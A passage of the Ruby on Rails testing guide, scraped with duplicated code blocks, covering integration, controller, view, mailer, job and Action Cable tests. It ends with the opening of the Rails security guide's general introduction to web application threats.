Here the test is inheriting from ActionDispatch::IntegrationTest. This makes some additional helpers available for us to use in our integration tests.

7.1 Helpers Available for Integration Tests

In addition to the standard testing helpers, inheriting from ActionDispatch::IntegrationTest comes with some additional helpers available when writing integration tests. Let's get briefly introduced to the three categories of helpers we get to choose from.

For dealing with the integration test runner, see ActionDispatch::Integration::Runner.

When performing requests, we will have ActionDispatch::Integration::RequestHelpers available for our use.

If we need to modify the session, or state of our integration test, take a look at ActionDispatch::Integration::Session to help.

7.2 Implementing an integration test

Let's add an integration test to our blog application. We'll start with a basic workflow of creating a new blog article, to verify that everything is working properly.

We'll start by generating our integration test skeleton:

$ bin/rails generate integration_test blog_flow

bin/rails generate integration_test blog_flow Copiar

It should have created a test file placeholder for us. With the output of the previous command we should see:

invoke  test_unit
create    test/integration/blog_flow_test.rb

invoke test_unit create test/integration/blog_flow_test.rb Copiar

Now let's open that file and write our first assertion:

require "test_helper"

class BlogFlowTest < ActionDispatch::IntegrationTest
test "can see the welcome page" do
get "/"
assert_select "h1", "Welcome#index"
end
end

require "test_helper" class BlogFlowTest < ActionDispatch::IntegrationTest test "can see the welcome page" do get "/" assert_select "h1", "Welcome#index" end end Copiar

We will take a look at assert_select to query the resulting HTML of a request in the "Testing Views" section below. It is used for testing the response of our request by asserting the presence of key HTML elements and their content.

When we visit our root path, we should see welcome/index.html.erb rendered for the view. So this assertion should pass.

7.2.1 Creating articles integration

How about testing our ability to create a new article in our blog and see the resulting article.

test "can create an article" do
get "/articles/new"
assert_response :success

post "/articles",
params: { article: { title: "can create", body: "article successfully." } }
assert_response :redirect
follow_redirect!
assert_response :success
assert_select "p", "Title:\n  can create"
end

test "can create an article" do get "/articles/new" assert_response :success post "/articles", params: { article: { title: "can create", body: "article successfully." } } assert_response :redirect follow_redirect! assert_response :success assert_select "p", "Title:\n can create" end Copiar

Let's break this test down so we can understand it.

We start by calling the :new action on our Articles controller. This response should be successful.

After this we make a post request to the :create action of our Articles controller:

post "/articles",
params: { article: { title: "can create", body: "article successfully." } }
assert_response :redirect
follow_redirect!

post "/articles", params: { article: { title: "can create", body: "article successfully." } } assert_response :redirect follow_redirect! Copiar

The two lines following the request are to handle the redirect we setup when creating a new article.

Don't forget to call follow_redirect! if you plan to make subsequent requests after a redirect is made.

Finally we can assert that our response was successful and our new article is readable on the page.

7.2.2 Taking it further

We were able to successfully test a very small workflow for visiting our blog and creating a new article. If we wanted to take this further we could add tests for commenting, removing articles, or editing comments. Integration tests are a great place to experiment with all kinds of use cases for our applications.

8 Functional Tests for Your Controllers

In Rails, testing the various actions of a controller is a form of writing functional tests. Remember your controllers handle the incoming web requests to your application and eventually respond with a rendered view. When writing functional tests, you are testing how your actions handle the requests and the expected result or response, in some cases an HTML view.

8.1 What to include in your Functional Tests

You should test for things such as:

- was the web request successful?

- was the user redirected to the right page?

- was the user successfully authenticated?

- was the appropriate message displayed to the user in the view?

- was the correct information displayed in the response?

The easiest way to see functional tests in action is to generate a controller using the scaffold generator:

$ bin/rails generate scaffold_controller article title:string body:text
...
create  app/controllers/articles_controller.rb
...
invoke  test_unit
create    test/controllers/articles_controller_test.rb
...

bin/rails generate scaffold_controller article title:string body:text Copiar

This will generate the controller code and tests for an Article resource. You can take a look at the file articles_controller_test.rb in the test/controllers directory.

If you already have a controller and just want to generate the test scaffold code for each of the seven default actions, you can use the following command:

$ bin/rails generate test_unit:scaffold article
...
invoke  test_unit
create    test/controllers/articles_controller_test.rb
...

bin/rails generate test_unit:scaffold article Copiar

Let's take a look at one such test, test_should_get_index from the file articles_controller_test.rb.

# articles_controller_test.rb
class ArticlesControllerTest < ActionDispatch::IntegrationTest
test "should get index" do
get articles_url
assert_response :success
end
end

# articles_controller_test.rb class ArticlesControllerTest < ActionDispatch::IntegrationTest test "should get index" do get articles_url assert_response :success end end Copiar

In the test_should_get_index test, Rails simulates a request on the action called index, making sure the request was successful and also ensuring that the right response body has been generated.

The get method kicks off the web request and populates the results into the @response. It can accept up to 6 arguments:

- The URI of the controller action you are requesting. This can be in the form of a string or a route helper (e.g. articles_url).

- params: option with a hash of request parameters to pass into the action (e.g. query string parameters or article variables).

- headers: for setting the headers that will be passed with the request.

- env: for customizing the request environment as needed.

- xhr: whether the request is Ajax request or not. Can be set to true for marking the request as Ajax.

- as: for encoding the request with different content type.

All of these keyword arguments are optional.

Example: Calling the :show action for the first Article, passing in an HTTP_REFERER header:

get article_url(Article.first), headers: { "HTTP_REFERER" => "http://example.com/home" }

get article_url(Article.first), headers: { "HTTP_REFERER" => "http://example.com/home" } Copiar

Another example: Calling the :update action for the last Article, passing in new text for the title in params, as an Ajax request:

patch article_url(Article.last), params: { article: { title: "updated" } }, xhr: true

patch article_url(Article.last), params: { article: { title: "updated" } }, xhr: true Copiar

One more example: Calling the :create action to create a new article, passing in text for the title in params, as JSON request:

post articles_path, params: { article: { title: "Ahoy!" } }, as: :json

post articles_path, params: { article: { title: "Ahoy!" } }, as: :json Copiar

If you try running test_should_create_article test from articles_controller_test.rb it will fail on account of the newly added model level validation and rightly so.

Let us modify test_should_create_article test in articles_controller_test.rb so that all our test pass:

test "should create article" do
assert_difference("Article.count") do
post articles_url, params: { article: { body: "Rails is awesome!", title: "Hello Rails" } }
end

assert_redirected_to article_path(Article.last)
end

test "should create article" do assert_difference("Article.count") do post articles_url, params: { article: { body: "Rails is awesome!", title: "Hello Rails" } } end assert_redirected_to article_path(Article.last) end Copiar

Now you can try running all the tests and they should pass.

If you followed the steps in the Basic Authentication section, you'll need to add authorization to every request header to get all the tests passing:

post articles_url, params: { article: { body: "Rails is awesome!", title: "Hello Rails" } }, headers: { Authorization: ActionController::HttpAuthentication::Basic.encode_credentials("dhh", "secret") }

post articles_url, params: { article: { body: "Rails is awesome!", title: "Hello Rails" } }, headers: { Authorization: ActionController::HttpAuthentication::Basic.encode_credentials("dhh", "secret") } Copiar

8.2 Available Request Types for Functional Tests

If you're familiar with the HTTP protocol, you'll know that get is a type of request. There are 6 request types supported in Rails functional tests:

- get

- post

- patch

- put

- head

- delete

All of request types have equivalent methods that you can use. In a typical C.R.U.D. application you'll be using get, post, put, and delete more often.

Functional tests do not verify whether the specified request type is accepted by the action, we're more concerned with the result. Request tests exist for this use case to make your tests more purposeful.

8.3 Testing XHR (AJAX) requests

To test AJAX requests, you can specify the xhr: true option to get, post, patch, put, and delete methods. For example:

test "ajax request" do
article = articles(:one)
get article_url(article), xhr: true

assert_equal "hello world", @response.body
assert_equal "text/javascript", @response.media_type
end

test "ajax request" do article = articles(:one) get article_url(article), xhr: true assert_equal "hello world", @response.body assert_equal "text/javascript", @response.media_type end Copiar

8.4 The Three Hashes of the Apocalypse

After a request has been made and processed, you will have 3 Hash objects ready for use:

- cookies - Any cookies that are set

- flash - Any objects living in the flash

- session - Any object living in session variables

As is the case with normal Hash objects, you can access the values by referencing the keys by string. You can also reference them by symbol name. For example:

flash["gordon"]               flash[:gordon]
session["shmession"]          session[:shmession]
cookies["are_good_for_u"]     cookies[:are_good_for_u]

flash["gordon"] flash[:gordon] session["shmession"] session[:shmession] cookies["are_good_for_u"] cookies[:are_good_for_u] Copiar

8.5 Instance Variables Available

You also have access to three instance variables in your functional tests, after a request is made:

- @controller - The controller processing the request

- @request - The request object

- @response - The response object

class ArticlesControllerTest < ActionDispatch::IntegrationTest
test "should get index" do
get articles_url

assert_equal "index", @controller.action_name
assert_equal "application/x-www-form-urlencoded", @request.media_type
assert_match "Articles", @response.body
end
end

class ArticlesControllerTest < ActionDispatch::IntegrationTest test "should get index" do get articles_url assert_equal "index", @controller.action_name assert_equal "application/x-www-form-urlencoded", @request.media_type assert_match "Articles", @response.body end end Copiar

8.6 Setting Headers and CGI variables

HTTP headers and CGI variables can be passed as headers:

# setting an HTTP Header
get articles_url, headers: { "Content-Type": "text/plain" } # simulate the request with custom header

# setting a CGI variable
get articles_url, headers: { "HTTP_REFERER": "http://example.com/home" } # simulate the request with custom env variable

# setting an HTTP Header get articles_url, headers: { "Content-Type": "text/plain" } # simulate the request with custom header # setting a CGI variable get articles_url, headers: { "HTTP_REFERER": "http://example.com/home" } # simulate the request with custom env variable Copiar

8.7 Testing flash notices

If you remember from earlier, one of the Three Hashes of the Apocalypse was flash.

We want to add a flash message to our blog application whenever someone successfully creates a new Article.

Let's start by adding this assertion to our test_should_create_article test:

test "should create article" do
assert_difference("Article.count") do
post articles_url, params: { article: { title: "Some title" } }
end

assert_redirected_to article_path(Article.last)
assert_equal "Article was successfully created.", flash[:notice]
end

test "should create article" do assert_difference("Article.count") do post articles_url, params: { article: { title: "Some title" } } end assert_redirected_to article_path(Article.last) assert_equal "Article was successfully created.", flash[:notice] end Copiar

If we run our test now, we should see a failure:

$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
Run options: -n test_should_create_article --seed 32266

# Running:

F

Finished in 0.114870s, 8.7055 runs/s, 34.8220 assertions/s.

1) Failure:
ArticlesControllerTest#test_should_create_article [/test/controllers/articles_controller_test.rb:16]:
--- expected
+++ actual
@@ -1 +1 @@
-"Article was successfully created."
+nil

1 runs, 4 assertions, 1 failures, 0 errors, 0 skips

bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article Copiar

Let's implement the flash message now in our controller. Our :create action should now look like this:

def create
@article = Article.new(article_params)

if @article.save
flash[:notice] = "Article was successfully created."
redirect_to @article
else
render "new"
end
end

def create @article = Article.new(article_params) if @article.save flash[:notice] = "Article was successfully created." redirect_to @article else render "new" end end Copiar

Now if we run our tests, we should see it pass:

$ bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article
Run options: -n test_should_create_article --seed 18981

# Running:

.

Finished in 0.081972s, 12.1993 runs/s, 48.7972 assertions/s.

1 runs, 4 assertions, 0 failures, 0 errors, 0 skips

bin/rails test test/controllers/articles_controller_test.rb -n test_should_create_article Copiar

8.8 Putting it together

At this point our Articles controller tests the :index as well as :new and :create actions. What about dealing with existing data?

Let's write a test for the :show action:

test "should show article" do
article = articles(:one)
get article_url(article)
assert_response :success
end

test "should show article" do article = articles(:one) get article_url(article) assert_response :success end Copiar

Remember from our discussion earlier on fixtures, the articles() method will give us access to our Articles fixtures.

How about deleting an existing Article?

test "should destroy article" do
article = articles(:one)
assert_difference("Article.count", -1) do
delete article_url(article)
end

assert_redirected_to articles_path
end

test "should destroy article" do article = articles(:one) assert_difference("Article.count", -1) do delete article_url(article) end assert_redirected_to articles_path end Copiar

We can also add a test for updating an existing Article.

test "should update article" do
article = articles(:one)

patch article_url(article), params: { article: { title: "updated" } }

assert_redirected_to article_path(article)
# Reload association to fetch updated data and assert that title is updated.
article.reload
assert_equal "updated", article.title
end

test "should update article" do article = articles(:one) patch article_url(article), params: { article: { title: "updated" } } assert_redirected_to article_path(article) # Reload association to fetch updated data and assert that title is updated. article.reload assert_equal "updated", article.title end Copiar

Notice we're starting to see some duplication in these three tests, they both access the same Article fixture data. We can D.R.Y. this up by using the setup and teardown methods provided by ActiveSupport::Callbacks.

Our test should now look something as what follows. Disregard the other tests for now, we're leaving them out for brevity.

require "test_helper"

class ArticlesControllerTest < ActionDispatch::IntegrationTest
# called before every single test
setup do
@article = articles(:one)
end

# called after every single test
teardown do
# when controller is using cache it may be a good idea to reset it afterwards
Rails.cache.clear
end

test "should show article" do
# Reuse the @article instance variable from setup
get article_url(@article)
assert_response :success
end

test "should destroy article" do
assert_difference("Article.count", -1) do
delete article_url(@article)
end

assert_redirected_to articles_path
end

test "should update article" do
patch article_url(@article), params: { article: { title: "updated" } }

assert_redirected_to article_path(@article)
# Reload association to fetch updated data and assert that title is updated.
@article.reload
assert_equal "updated", @article.title
end
end

require "test_helper" class ArticlesControllerTest < ActionDispatch::IntegrationTest # called before every single test setup do @article = articles(:one) end # called after every single test teardown do # when controller is using cache it may be a good idea to reset it afterwards Rails.cache.clear end test "should show article" do # Reuse the @article instance variable from setup get article_url(@article) assert_response :success end test "should destroy article" do assert_difference("Article.count", -1) do delete article_url(@article) end assert_redirected_to articles_path end test "should update article" do patch article_url(@article), params: { article: { title: "updated" } } assert_redirected_to article_path(@article) # Reload association to fetch updated data and assert that title is updated. @article.reload assert_equal "updated", @article.title end end Copiar

Similar to other callbacks in Rails, the setup and teardown methods can also be used by passing a block, lambda, or method name as a symbol to call.

8.9 Test helpers

To avoid code duplication, you can add your own test helpers. Sign in helper can be a good example:

# test/test_helper.rb

module SignInHelper
def sign_in_as(user)
post sign_in_url(email: user.email, password: user.password)
end
end

class ActionDispatch::IntegrationTest
include SignInHelper
end

# test/test_helper.rb module SignInHelper def sign_in_as(user) post sign_in_url(email: user.email, password: user.password) end end class ActionDispatch::IntegrationTest include SignInHelper end Copiar

require "test_helper"

class ProfileControllerTest < ActionDispatch::IntegrationTest

test "should show profile" do
# helper is now reusable from any controller test case
sign_in_as users(:david)

get profile_url
assert_response :success
end
end

require "test_helper" class ProfileControllerTest < ActionDispatch::IntegrationTest test "should show profile" do # helper is now reusable from any controller test case sign_in_as users(:david) get profile_url assert_response :success end end Copiar

8.9.1 Using Separate Files

If you find your helpers are cluttering test_helper.rb, you can extract them into separate files. One good place to store them is test/lib or test/test_helpers.

# test/test_helpers/multiple_assertions.rb
module MultipleAssertions
def assert_multiple_of_forty_two(number)
assert (number % 42 == 0), 'expected #{number} to be a multiple of 42'
end
end

# test/test_helpers/multiple_assertions.rb module MultipleAssertions def assert_multiple_of_forty_two(number) assert (number % 42 == 0), 'expected #{number} to be a multiple of 42' end end Copiar

These helpers can then be explicitly required as needed and included as needed

require "test_helper"
require "test_helpers/multiple_assertions"

class NumberTest < ActiveSupport::TestCase
include MultipleAssertions

test "420 is a multiple of forty two" do
assert_multiple_of_forty_two 420
end
end

require "test_helper" require "test_helpers/multiple_assertions" class NumberTest < ActiveSupport::TestCase include MultipleAssertions test "420 is a multiple of forty two" do assert_multiple_of_forty_two 420 end end Copiar

or they can continue to be included directly into the relevant parent classes

# test/test_helper.rb
require "test_helpers/sign_in_helper"

class ActionDispatch::IntegrationTest
include SignInHelper
end

# test/test_helper.rb require "test_helpers/sign_in_helper" class ActionDispatch::IntegrationTest include SignInHelper end Copiar

8.9.2 Eagerly Requiring Helpers

You may find it convenient to eagerly require helpers in test_helper.rb so your test files have implicit access to them. This can be accomplished using globbing, as follows

# test/test_helper.rb
Dir[Rails.root.join("test", "test_helpers", "**", "*.rb")].each { |file| require file }

# test/test_helper.rb Dir[Rails.root.join("test", "test_helpers", "**", "*.rb")].each { |file| require file } Copiar

This has the downside of increasing the boot-up time, as opposed to manually requiring only the necessary files in your individual tests.

9 Testing Routes

Like everything else in your Rails application, you can test your routes. Route tests reside in test/controllers/ or are part of controller tests.

If your application has complex routes, Rails provides a number of useful helpers to test them.

For more information on routing assertions available in Rails, see the API documentation for ActionDispatch::Assertions::RoutingAssertions.

10 Testing Views

Testing the response to your request by asserting the presence of key HTML elements and their content is a common way to test the views of your application. Like route tests, view tests reside in test/controllers/ or are part of controller tests. The assert_select method allows you to query HTML elements of the response by using a simple yet powerful syntax.

There are two forms of assert_select:

assert_select(selector, [equality], [message]) ensures that the equality condition is met on the selected elements through the selector. The selector may be a CSS selector expression (String) or an expression with substitution values.

assert_select(element, selector, [equality], [message]) ensures that the equality condition is met on all the selected elements through the selector starting from the element (instance of Nokogiri::XML::Node or Nokogiri::XML::NodeSet) and its descendants.

For example, you could verify the contents on the title element in your response with:

assert_select "title", "Welcome to Rails Testing Guide"

assert_select "title", "Welcome to Rails Testing Guide" Copiar

You can also use nested assert_select blocks for deeper investigation.

In the following example, the inner assert_select for li.menu_item runs within the collection of elements selected by the outer block:

assert_select "ul.navigation" do
assert_select "li.menu_item"
end

assert_select "ul.navigation" do assert_select "li.menu_item" end Copiar

A collection of selected elements may be iterated through so that assert_select may be called separately for each element.

For example if the response contains two ordered lists, each with four nested list elements then the following tests will both pass.

assert_select "ol" do |elements|
elements.each do |element|
assert_select element, "li", 4
end
end

assert_select "ol" do
assert_select "li", 8
end

assert_select "ol" do |elements| elements.each do |element| assert_select element, "li", 4 end end assert_select "ol" do assert_select "li", 8 end Copiar

This assertion is quite powerful. For more advanced usage, refer to its documentation.

10.1 Additional View-Based Assertions

There are more assertions that are primarily used in testing views:

Assertion

Purpose

assert_select_email

Allows you to make assertions on the body of an e-mail.

assert_select_encoded

Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.

css_select(selector) or css_select(element, selector)

Returns an array of all the elements selected by the selector. In the second variant it first matches the base element and tries to match the selector expression on any of its children. If there are no matches both variants return an empty array.

Here's an example of using assert_select_email:

assert_select_email do
assert_select "small", "Please click the 'Unsubscribe' link if you want to opt-out."
end

assert_select_email do assert_select "small", "Please click the 'Unsubscribe' link if you want to opt-out." end Copiar

11 Testing Helpers

A helper is just a simple module where you can define methods which are available in your views.

In order to test helpers, all you need to do is check that the output of the helper method matches what you'd expect. Tests related to the helpers are located under the test/helpers directory.

Given we have the following helper:

module UsersHelper
def link_to_user(user)
link_to "#{user.first_name} #{user.last_name}", user
end
end

module UsersHelper def link_to_user(user) link_to "#{user.first_name} #{user.last_name}", user end end Copiar

We can test the output of this method like this:

class UsersHelperTest < ActionView::TestCase
test "should return the user's full name" do
user = users(:david)

assert_dom_equal %{<a href="/user/#{user.id}">David Heinemeier Hansson</a>}, link_to_user(user)
end
end

class UsersHelperTest < ActionView::TestCase test "should return the user's full name" do user = users(:david) assert_dom_equal %{<a href="/user/#{user.id}">David Heinemeier Hansson</a>}, link_to_user(user) end end Copiar

Moreover, since the test class extends from ActionView::TestCase, you have access to Rails' helper methods such as link_to or pluralize.

12 Testing Your Mailers

Testing mailer classes requires some specific tools to do a thorough job.

12.1 Keeping the Postman in Check

Your mailer classes - like every other part of your Rails application - should be tested to ensure that they are working as expected.

The goals of testing your mailer classes are to ensure that:

- emails are being processed (created and sent)

- the email content is correct (subject, sender, body, etc)

- the right emails are being sent at the right times

12.1.1 From All Sides

There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a known value (a fixture). In the functional tests you don't so much test the minute details produced by the mailer; instead, we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.

12.2 Unit Testing

In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.

12.2.1 Revenge of the Fixtures

For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output should look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within test/fixtures directly corresponds to the name of the mailer. So, for a mailer named UserMailer, the fixtures should reside in test/fixtures/user_mailer directory.

If you generated your mailer, the generator does not create stub fixtures for the mailers actions. You'll have to create those files yourself as described above.

12.2.2 The Basic Test Case

Here's a unit test to test a mailer named UserMailer whose action invite is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an invite action.

require "test_helper"

class UserMailerTest < ActionMailer::TestCase
test "invite" do
# Create the email and store it for further assertions
email = UserMailer.create_invite("me@example.com",
"friend@example.com", Time.now)

# Send the email, then test that it got queued
assert_emails 1 do
email.deliver_now
end

# Test the body of the sent email contains what we expect it to
assert_equal ["me@example.com"], email.from
assert_equal ["friend@example.com"], email.to
assert_equal "You have been invited by me@example.com", email.subject
assert_equal read_fixture("invite").join, email.body.to_s
end
end

require "test_helper" class UserMailerTest < ActionMailer::TestCase test "invite" do # Create the email and store it for further assertions email = UserMailer.create_invite("me@example.com", "friend@example.com", Time.now) # Send the email, then test that it got queued assert_emails 1 do email.deliver_now end # Test the body of the sent email contains what we expect it to assert_equal ["me@example.com"], email.from assert_equal ["friend@example.com"], email.to assert_equal "You have been invited by me@example.com", email.subject assert_equal read_fixture("invite").join, email.body.to_s end end Copiar

In the test we create the email and store the returned object in the email variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain what we expect. The helper read_fixture is used to read in the content from this file.

email.body.to_s is present when there's only one (HTML or text) part present. If the mailer provides both, you can test your fixture against specific parts with email.text_part.body.to_s or email.html_part.body.to_s.

Here's the content of the invite fixture:

Hi friend@example.com,

You have been invited.

Cheers!

Hi friend@example.com, You have been invited. Cheers! Copiar

This is the right time to understand a little more about writing tests for your mailers. The line ActionMailer::Base.delivery_method = :test in config/environments/test.rb sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (ActionMailer::Base.deliveries).

The ActionMailer::Base.deliveries array is only reset automatically in ActionMailer::TestCase and ActionDispatch::IntegrationTest tests. If you want to have a clean slate outside these test cases, you can reset it manually with: ActionMailer::Base.deliveries.clear

12.3 Functional and System Testing

Unit testing allows us to test the attributes of the email while functional and system testing allows us to test whether user interactions appropriately trigger the email to be delivered. For example, you can check that the invite friend operation is sending an email appropriately:

# Integration Test
require "test_helper"

class UsersControllerTest < ActionDispatch::IntegrationTest
test "invite friend" do
# Asserts the difference in the ActionMailer::Base.deliveries
assert_emails 1 do
post invite_friend_url, params: { email: "friend@example.com" }
end
end
end

# Integration Test require "test_helper" class UsersControllerTest < ActionDispatch::IntegrationTest test "invite friend" do # Asserts the difference in the ActionMailer::Base.deliveries assert_emails 1 do post invite_friend_url, params: { email: "friend@example.com" } end end end Copiar

# System Test
require "test_helper"

class UsersTest < ActionDispatch::SystemTestCase
driven_by :selenium, using: :headless_chrome

test "inviting a friend" do
visit invite_users_url
fill_in "Email", with: "friend@example.com"
assert_emails 1 do
click_on "Invite"
end
end
end

# System Test require "test_helper" class UsersTest < ActionDispatch::SystemTestCase driven_by :selenium, using: :headless_chrome test "inviting a friend" do visit invite_users_url fill_in "Email", with: "friend@example.com" assert_emails 1 do click_on "Invite" end end end Copiar

The assert_emails method is not tied to a particular deliver method and will work with emails delivered with either the deliver_now or deliver_later method. If we explicitly want to assert that the email has been enqueued we can use the assert_enqueued_emails method. More information can be found in the documentation here.

13 Testing Jobs

Since your custom jobs can be queued at different levels inside your application, you'll need to test both the jobs themselves (their behavior when they get enqueued) and that other entities correctly enqueue them.

13.1 A Basic Test Case

By default, when you generate a job, an associated test will be generated as well under the test/jobs directory. Here's an example test with a billing job:

require "test_helper"

class BillingJobTest < ActiveJob::TestCase
test "that account is charged" do
BillingJob.perform_now(account, product)
assert account.reload.charged_for?(product)
end
end

require "test_helper" class BillingJobTest < ActiveJob::TestCase test "that account is charged" do BillingJob.perform_now(account, product) assert account.reload.charged_for?(product) end end Copiar

This test is pretty simple and only asserts that the job got the work done as expected.

By default, ActiveJob::TestCase will set the queue adapter to :test so that your jobs are performed inline. It will also ensure that all previously performed and enqueued jobs are cleared before any test run so you can safely assume that no jobs have already been executed in the scope of each test.

13.2 Custom Assertions and Testing Jobs inside Other Components

Active Job ships with a bunch of custom assertions that can be used to lessen the verbosity of tests. For a full list of available assertions, see the API documentation for ActiveJob::TestHelper.

It's a good practice to ensure that your jobs correctly get enqueued or performed wherever you invoke them (e.g. inside your controllers). This is precisely where the custom assertions provided by Active Job are pretty useful. For instance, within a model:

require "test_helper"

class ProductTest < ActiveSupport::TestCase
include ActiveJob::TestHelper

test "billing job scheduling" do
assert_enqueued_with(job: BillingJob) do
product.charge(account)
end
end
end

require "test_helper" class ProductTest < ActiveSupport::TestCase include ActiveJob::TestHelper test "billing job scheduling" do assert_enqueued_with(job: BillingJob) do product.charge(account) end end end Copiar

14 Testing Action Cable

Since Action Cable is used at different levels inside your application, you'll need to test both the channels, connection classes themselves, and that other entities broadcast correct messages.

14.1 Connection Test Case

By default, when you generate new Rails application with Action Cable, a test for the base connection class (ApplicationCable::Connection) is generated as well under test/channels/application_cable directory.

Connection tests aim to check whether a connection's identifiers get assigned properly or that any improper connection requests are rejected. Here is an example:

class ApplicationCable::ConnectionTest < ActionCable::Connection::TestCase
test "connects with params" do
# Simulate a connection opening by calling the `connect` method
connect params: { user_id: 42 }

# You can access the Connection object via `connection` in tests
assert_equal connection.user_id, "42"
end

test "rejects connection without params" do
# Use `assert_reject_connection` matcher to verify that
# connection is rejected
assert_reject_connection { connect }
end
end

class ApplicationCable::ConnectionTest < ActionCable::Connection::TestCase test "connects with params" do # Simulate a connection opening by calling the `connect` method connect params: { user_id: 42 } # You can access the Connection object via `connection` in tests assert_equal connection.user_id, "42" end test "rejects connection without params" do # Use `assert_reject_connection` matcher to verify that # connection is rejected assert_reject_connection { connect } end end Copiar

You can also specify request cookies the same way you do in integration tests:

test "connects with cookies" do
cookies.signed[:user_id] = "42"

connect

assert_equal connection.user_id, "42"
end

test "connects with cookies" do cookies.signed[:user_id] = "42" connect assert_equal connection.user_id, "42" end Copiar

See the API documentation for ActionCable::Connection::TestCase for more information.

14.2 Channel Test Case

By default, when you generate a channel, an associated test will be generated as well under the test/channels directory. Here's an example test with a chat channel:

require "test_helper"

class ChatChannelTest < ActionCable::Channel::TestCase
test "subscribes and stream for room" do
# Simulate a subscription creation by calling `subscribe`
subscribe room: "15"

# You can access the Channel object via `subscription` in tests
assert subscription.confirmed?
assert_has_stream "chat_15"
end
end

require "test_helper" class ChatChannelTest < ActionCable::Channel::TestCase test "subscribes and stream for room" do # Simulate a subscription creation by calling `subscribe` subscribe room: "15" # You can access the Channel object via `subscription` in tests assert subscription.confirmed? assert_has_stream "chat_15" end end Copiar

This test is pretty simple and only asserts that the channel subscribes the connection to a particular stream.

You can also specify the underlying connection identifiers. Here's an example test with a web notifications channel:

require "test_helper"

class WebNotificationsChannelTest < ActionCable::Channel::TestCase
test "subscribes and stream for user" do
stub_connection current_user: users(:john)

subscribe

assert_has_stream_for users(:john)
end
end

require "test_helper" class WebNotificationsChannelTest < ActionCable::Channel::TestCase test "subscribes and stream for user" do stub_connection current_user: users(:john) subscribe assert_has_stream_for users(:john) end end Copiar

See the API documentation for ActionCable::Channel::TestCase for more information.

14.3 Custom Assertions And Testing Broadcasts Inside Other Components

Action Cable ships with a bunch of custom assertions that can be used to lessen the verbosity of tests. For a full list of available assertions, see the API documentation for ActionCable::TestHelper.

It's a good practice to ensure that the correct message has been broadcasted inside other components (e.g. inside your controllers). This is precisely where the custom assertions provided by Action Cable are pretty useful. For instance, within a model:

require "test_helper"

class ProductTest < ActionCable::TestCase
test "broadcast status after charge" do
assert_broadcast_on("products:#{product.id}", type: "charged") do
product.charge(account)
end
end
end

require "test_helper" class ProductTest < ActionCable::TestCase test "broadcast status after charge" do assert_broadcast_on("products:#{product.id}", type: "charged") do product.charge(account) end end end Copiar

If you want to test the broadcasting made with Channel.broadcast_to, you should use Channel.broadcasting_for to generate an underlying stream name:

# app/jobs/chat_relay_job.rb
class ChatRelayJob < ApplicationJob
def perform_later(room, message)
ChatChannel.broadcast_to room, text: message
end
end

# app/jobs/chat_relay_job.rb class ChatRelayJob < ApplicationJob def perform_later(room, message) ChatChannel.broadcast_to room, text: message end end Copiar

# test/jobs/chat_relay_job_test.rb
require "test_helper"

class ChatRelayJobTest < ActiveJob::TestCase
include ActionCable::TestHelper

test "broadcast message to room" do
room = rooms(:all)

assert_broadcast_on(ChatChannel.broadcasting_for(room), text: "Hi!") do
ChatRelayJob.perform_now(room, "Hi!")
end
end
end

# test/jobs/chat_relay_job_test.rb require "test_helper" class ChatRelayJobTest < ActiveJob::TestCase include ActionCable::TestHelper test "broadcast message to room" do room = rooms(:all) assert_broadcast_on(ChatChannel.broadcasting_for(room), text: "Hi!") do ChatRelayJob.perform_now(room, "Hi!") end end end Copiar

15 Additional Testing Resources

15.1 Testing Time-Dependent Code

Rails provides built-in helper methods that enable you to assert that your time-sensitive code works as expected.

Here is an example using the travel_to helper:

# Lets say that a user is eligible for gifting a month after they register.
user = User.create(name: "Gaurish", activation_date: Date.new(2004, 10, 24))
assert_not user.applicable_for_gifting?
travel_to Date.new(2004, 11, 24) do
assert_equal Date.new(2004, 10, 24), user.activation_date # inside the `travel_to` block `Date.current` is mocked
assert user.applicable_for_gifting?
end
assert_equal Date.new(2004, 10, 24), user.activation_date # The change was visible only inside the `travel_to` block.

# Lets say that a user is eligible for gifting a month after they register. user = User.create(name: "Gaurish", activation_date: Date.new(2004, 10, 24)) assert_not user.applicable_for_gifting? travel_to Date.new(2004, 11, 24) do assert_equal Date.new(2004, 10, 24), user.activation_date # inside the `travel_to` block `Date.current` is mocked assert user.applicable_for_gifting? end assert_equal Date.new(2004, 10, 24), user.activation_date # The change was visible only inside the `travel_to` block. Copiar

Please see ActiveSupport::Testing::TimeHelpers API Documentation for in-depth information about the available time helpers.

Securing Rails Applications — Ruby on...

1 Introduction

Web application frameworks are made to help developers build web applications. Some of them also help you with securing the web application. In fact one framework is not more secure than another: If you use it correctly, you will be able to build secure apps with many frameworks. Ruby on Rails has some clever helper methods, for example against SQL injection, so that this is hardly a problem.

In general there is no such thing as plug-n-play security. Security depends on the people using the framework, and sometimes on the development method. And it depends on all layers of a web application environment: The back-end storage, the web server, and the web application itself (and possibly other layers or applications).

The Gartner Group, however, estimates that 75% of attacks are at the web application layer, and found out "that out of 300 audited sites, 97% are vulnerable to attack". This is because web applications are relatively easy to attack, as they are simple to understand and manipulate, even by the lay person.

The threats against web applications include user account hijacking, bypass of access control, reading or modifying sensitive data, or presenting fraudulent content. Or an attacker might be able to install a Trojan horse program or unsolicited e-mail sending software, aim at financial enrichment, or cause brand name damage by modifying company resources. In order to prevent attacks, minimize their impact and remove points of attack, first of all, you have to fully understand the attack methods in order to find the correct countermeasures. That is what this guide aims at.

In order to develop secure web applications you have to keep up to date on all layers and know your enemies. To keep up to date subscribe to security mailing lists, read security blogs, and make updating and security checks a habit (check the Additional Resources chapter). It is done manually because that's how you find the nasty logical security problems.

2 Sessions

This chapter describes some particular attacks related to sessions, and security measures to protect your session data.

2.1 What are Sessions?

